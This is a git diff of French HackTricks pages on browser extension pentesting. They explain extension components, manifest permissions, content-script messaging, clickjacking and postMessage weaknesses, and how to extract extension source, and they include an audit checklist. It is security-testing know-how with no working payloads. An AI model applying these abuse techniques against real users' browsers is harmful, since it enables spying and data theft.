d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité d'autres sites (CIA). -## Composants principaux +## Principaux composants Les mises en page des extensions sont mieux visualisées et se composent de trois composants. Examinons chaque composant en détail. @@ -34,7 +34,7 @@ Le cœur de l'extension contient la plupart des privilèges/d'accès de l'extens ### **Binaire natif** -L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur.** Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plug-in Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plug-ins de navigateur. +L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur**. Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plugins de navigateur. ### Limites @@ -115,24 +115,24 @@ document.body.appendChild(div); ```
-Un message est envoyé aux pages de l'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages de l'extension avec lesquelles les scripts de contenu peuvent communiquer. +Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer. {% hint style="warning" %} -Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la [documentation des développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\ -Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de renvoyer des réponses. +Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la documentation des [développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\ +Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de transmettre des réponses. {% endhint %} Pour visualiser et déboguer les scripts de contenu dans Chrome, le menu des outils de développement Chrome peut être accédé depuis Options > Autres outils > Outils de développement OU en appuyant sur Ctrl + Maj + I. -Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Scripts de contenu**. Cela permet d'observer l'exécution des scripts de contenu de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution. +Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Scripts de contenu**. Cela permet d'observer l'exécution des scripts de contenu en cours à partir de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution. ### Scripts de contenu injectés {% hint style="success" %} -Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible d'**injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**. +Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible de **injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**. {% endhint %} -Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces autorisations peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Exemple d'extension basée sur activeTab @@ -168,7 +168,7 @@ files: ["content-script.js"] }); }); ``` -* **Injecter une fonction** au clic : +* **Injecter une fonction** au clic: ```javascript //service-worker.js - Inject a function function injectedFunction() { @@ -195,7 +195,7 @@ js : [ "contentScript.js" ], // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }); ``` -Pour inclure ou exclure plus d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**. +Pour inclure ou exclure davantage d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**. ### Scripts de contenu `run_at` @@ -205,7 +205,7 @@ Les valeurs possibles sont : * **`document_idle`** : Chaque fois que possible * **`document_start`** : Après tout fichier `css`, mais avant que tout autre DOM ne soit construit ou que tout autre script ne soit exécuté. -* **`document_end`** : Immédiatement après que le DOM est complet, mais avant que des sous-ressources comme les images et les cadres ne soient chargées. +* **`document_end`** : Immédiatement après la fin de la construction du DOM, mais avant le chargement de sous-ressources telles que les images et les cadres. #### Via `manifest.json` ```json @@ -268,7 +268,7 @@ Les extensions de navigateur peuvent contenir différents types de pages : * Les **pages d'action** s'affichent dans un **menu déroulant lorsque l'icône de l'extension est cliquée**. * Les pages que l'extension **chargera dans un nouvel onglet**. -* **Pages d'options** : Cette page s'affiche en haut de l'extension lorsqu'elle est cliquée. Dans le manifeste précédent, j'ai pu accéder à cette page via `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant sur : +* **Pages d'options** : Cette page s'affiche en haut de l'extension lorsqu'elle est cliquée. Dans le manifest précédent, j'ai pu accéder à cette page via `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant sur :
@@ -281,7 +281,7 @@ Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car **`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** les extensions de navigateur possèdent (stockage, localisation...) et dans **quelles pages web**. -Comme les extensions de navigateur peuvent être si **privilégiées**, une malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**. +Comme les extensions de navigateur peuvent être si **privilégiées**, une extension malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**. Découvrez comment ces paramètres fonctionnent et comment ils pourraient être abusés dans : @@ -305,7 +305,7 @@ Pour plus d'informations sur CSP et les éventuelles contournements, consultez : ### `web_accessible_resources` -pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html`, par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\ +pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html` par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\ Par exemple : ```javascript { @@ -355,21 +355,21 @@ Selon la [**documentation**](https://developer.chrome.com/docs/extensions/refere "https://*.google.com/*", "*://*.chromium.org/*", ``` -* Si elle est spécifiée comme vide: **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter. +* Si elle est spécifiée comme vide : **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter. -Moins d'extensions et d'URL indiqués ici, plus petite sera la surface d'attaque. +Moins d'extensions et d'URLs indiqués ici, plus petite sera la surface d'attaque. {% hint style="danger" %} Si une page web vulnérable aux attaques XSS ou à la prise de contrôle est indiquée dans **`externally_connectable`**, un attaquant pourra envoyer des messages directement au script arrière-plan, contournant complètement le Content Script et sa CSP. -Il s'agit donc d'une échappatoire très puissante. +Il s'agit donc d'une **bypass très puissant**. {% endhint %} -## Communication Web **↔︎** Content Script +## Communication entre le Web **↔︎** le Content Script Les environnements dans lesquels les **scripts de contenu** opèrent et où les pages hôtes existent sont **séparés** les uns des autres, assurant une **isolation**. Malgré cette isolation, les deux ont la capacité d'interagir avec le **Modèle d'Objet de Document (DOM)** de la page, une ressource partagée. Pour que la page hôte puisse communiquer avec le **script de contenu**, ou indirectement avec l'extension via le script de contenu, il est nécessaire d'utiliser le **DOM** accessible par les deux parties comme canal de communication. -### Messages Postés +### Envoi de Messages {% code title="content-script.js" %} ```javascript @@ -406,7 +406,7 @@ Une communication sécurisée par Post Message devrait vérifier l'authenticité - Si une expression régulière est utilisée, soyez très prudent. - **Source** : `received_message.source !== window` peut être utilisé pour vérifier si le message provient de **la même fenêtre** où le script de contenu écoute. -Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables, donc vérifiez dans la page suivante les **bypass potentiels de Post Message** : +Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables, donc vérifiez sur la page suivante les **bypass potentiels de Post Message** : {% content-ref url="../postmessage-vulnerabilities/" %} [postmessage-vulnerabilities](../postmessage-vulnerabilities/) @@ -422,7 +422,7 @@ Une autre façon possible de communication pourrait être à travers les **URLs ### DOM -Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Ainsi, si le **script de contenu** lit des informations à partir de celui-ci, **en faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**. +Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Donc, si le **script de contenu** lit des informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**. Vous pouvez également trouver un exemple de **XSS basé sur le DOM pour compromettre une extension de navigateur** dans : @@ -511,7 +511,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" ### Utiliser l'extension CRX Viewer -Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer). +Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open-source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer). ### Voir le code source de l'extension installée localement @@ -521,17 +521,19 @@ Les extensions Chrome installées localement peuvent également être inspectée 2. Naviguez jusqu'au sous-dossier `Extensions/` dans le répertoire du profil. 3. Ce dossier contient toutes les extensions installées, généralement avec leur code source dans un format lisible. -Pour identifier les extensions, vous pouvez faire correspondre leurs IDs à leurs noms : +Pour identifier les extensions, vous pouvez faire correspondre leurs ID à leurs noms : -- Activez le mode développeur sur la page `about:extensions` pour voir les IDs de chaque extension. +- Activez le mode développeur sur la page `about:extensions` pour voir les ID de chaque extension. - À l'intérieur du dossier de chaque extension, le fichier `manifest.json` contient un champ `name` lisible, vous aidant à identifier l'extension. ### Utiliser un archiveur de fichiers ou un décompresseur + Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura une extension `.crx`. Changez l'extension du fichier de `.crx` à `.zip`. Utilisez n'importe quel archiveur de fichiers (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP. ### Utiliser le mode développeur dans Chrome + Ouvrez Chrome et allez à `chrome://extensions/`. Activez le "Mode développeur" en haut à droite. Cliquez sur "Charger l'extension non empaquetée...". @@ -546,15 +548,15 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**, * [ ] **Limitez** autant que possible les **`host_permissions`** * [ ] Utilisez une **`content_security_policy`** **forte** * [ ] **Limitez** autant que possible les **`externally_connectable`**, s'il n'est pas nécessaire et possible, ne le laissez pas par défaut, spécifiez **`{}`** -* [ ] Si une **URL vulnérable aux XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages directement aux scripts d'arrière-plan**. Une faille de contournement très puissante. +* [ ] Si une **URL vulnérable aux attaques XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages directement aux scripts d'arrière-plan**. Une faille très puissante. * [ ] **Limitez** autant que possible les **`web_accessible_resources`**, même vide si possible. * [ ] Si **`web_accessible_resources`** n'est pas vide, vérifiez le [**ClickJacking**](browext-clickjacking.md) * [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées par la communication. -* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/)**.** +* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/). * [ ] Si le **Script de contenu accède aux détails du DOM**, vérifiez qu'ils n'introduisent pas de XSS s'ils sont **modifiés** par le web * [ ] Mettez l'accent particulièrement si cette communication est également impliquée dans la **communication Script de contenu -> Script d'arrière-plan** -* **Les informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur -* **Les informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur +* [ ] Les **informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur +* [ ] Les **informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur ## Outils @@ -562,7 +564,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**, * Récupère n'importe quelle extension Chrome à partir d'un lien fourni par le Chrome Web Store. * **Visionneur de manifest.json** : affiche simplement une version JSON mise en forme du manifeste de l'extension. -* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript d'empreinte digitale d'extension Chrome. +* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript de fingerprinting d'extension Chrome. * **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) définie. Elles sont potentiellement vulnérables au clickjacking en fonction de l'objectif des pages. * **Visionneur d'avertissement(s) de permission** : qui affiche une liste de tous les avertissements de permission Chrome qui s'afficheront lorsqu'un utilisateur tentera d'installer l'extension. * **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript). @@ -574,7 +576,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**, * Le chemin du fichier alerté. * L'URI complet de l'extension Chrome du fichier alerté. * Le type de fichier, tel qu'un script de page d'arrière-plan, un script de contenu, une action de navigateur, etc. -* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où il est inclus ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages. +* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où elle est incluse ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages. * **Analyseur de stratégie de sécurité du contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses de la CSP de votre extension et illuminera également les éventuelles façons de contourner votre CSP en raison des CDN autorisés, etc. * **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables. * Télécharger l'extension et les versions formatées. @@ -609,7 +611,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 0190695ea..832b5f70a 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -8,8 +8,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -95,7 +95,7 @@ Un [**article de blog sur une attaque par ClickJacking dans Metamask peut être
-**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être une tentative de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée. +**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être une tentative de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée. ## Exemple Steam Inventory Helper @@ -118,8 +118,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index ac597b2c0..66fee345d 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,15 +1,15 @@ -# BrowExt - autorisations & host_permissions +# BrowExt - autorisations et host_permissions
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -18,11 +18,11 @@ Autres façons de soutenir HackTricks: ### **`permissions`** -Les autorisations sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent d'accéder à presque tout ce à quoi un navigateur peut accéder (Cookies ou Stockage Physique) : +Les autorisations sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent d'accéder à presque tout ce à quoi un navigateur peut accéder (cookies ou stockage physique) : -Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que en désinstallant l'extension**. +Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que par la désinstallation de l'extension**. -Une extension demandera les autorisations indiquées dans son fichier **`manifest.json`** et Après l'installation de l'extension, vous pouvez **toujours vérifier ses autorisations dans votre navigateur**, comme le montre cette image : +Une extension demandera les autorisations indiquées dans son fichier **`manifest.json`** et après l'installation de l'extension, vous pouvez **toujours vérifier ses autorisations dans votre navigateur**, comme le montre cette image :
@@ -32,7 +32,7 @@ Vous pouvez trouver la [**liste complète des autorisations qu'une extension de Le paramètre facultatif mais puissant **`host_permissions`** indique avec quels hôtes l'extension va pouvoir interagir via des APIs telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). -Les `host_permissions` suivants permettent essentiellement à chaque site web : +Les `host_permissions` suivants permettent essentiellement à tous les sites web : ```json "host_permissions": [ "*://*/*" @@ -55,7 +55,7 @@ Voici les hôtes auxquels l'extension du navigateur peut accéder librement. Cel ### Onglets -De plus, les **`host_permissions`** débloquent également les fonctionnalités avancées de l'API des [**onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**. +De plus, les **`host_permissions`** débloquent également les fonctionnalités avancées de l'API des [**onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Ils permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**. {% hint style="danger" %} De plus, des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deviennent également beaucoup plus utiles**. Ils seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet. @@ -78,7 +78,7 @@ Certains privilèges d'extension **n'ont pas besoin d'être explicitement décla Cela semble trop inoffensif ? L'API [tabs.create()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/fr/docs/Web/API/Window/open) qui peut être appelé par n'importe quel site web. Cependant, alors que `window.open()` est soumis au **bloqueur de pop-up, `tabs.create()` ne l'est pas**. {% hint style="danger" %} -Une extension peut créer autant d'onglets qu'elle le souhaite, quand elle le souhaite. +Une extension peut créer autant d'onglets qu'elle le souhaite, à tout moment. {% endhint %} Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez également que ses capacités vont bien au-delà de ce que `window.open()` est autorisé à contrôler. Et bien que Firefox n'autorise pas l'utilisation d'URI `data:` avec cette API, Chrome n'a pas cette protection. **L'utilisation de ces URI au niveau supérieur a été** [**interdite en raison de leur utilisation abusive pour le phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** @@ -87,17 +87,17 @@ Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez ### Webcam, géolocalisation et compagnie -Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel d'abus considérable, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent. +Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel considérable d'abus, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent. {% hint style="danger" %} Ce n'est pas le cas avec les extensions de navigateur. **Si une extension de navigateur** [**veut accéder à votre webcam ou microphone**](https://developer.mozilla.org/fr/docs/Web/API/MediaDevices/getUserMedia)**, elle n'a besoin de demander la permission qu'une seule fois** {% endhint %} -Généralement, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit. +En général, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit. -Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou [au contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'** [**entrée des permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. 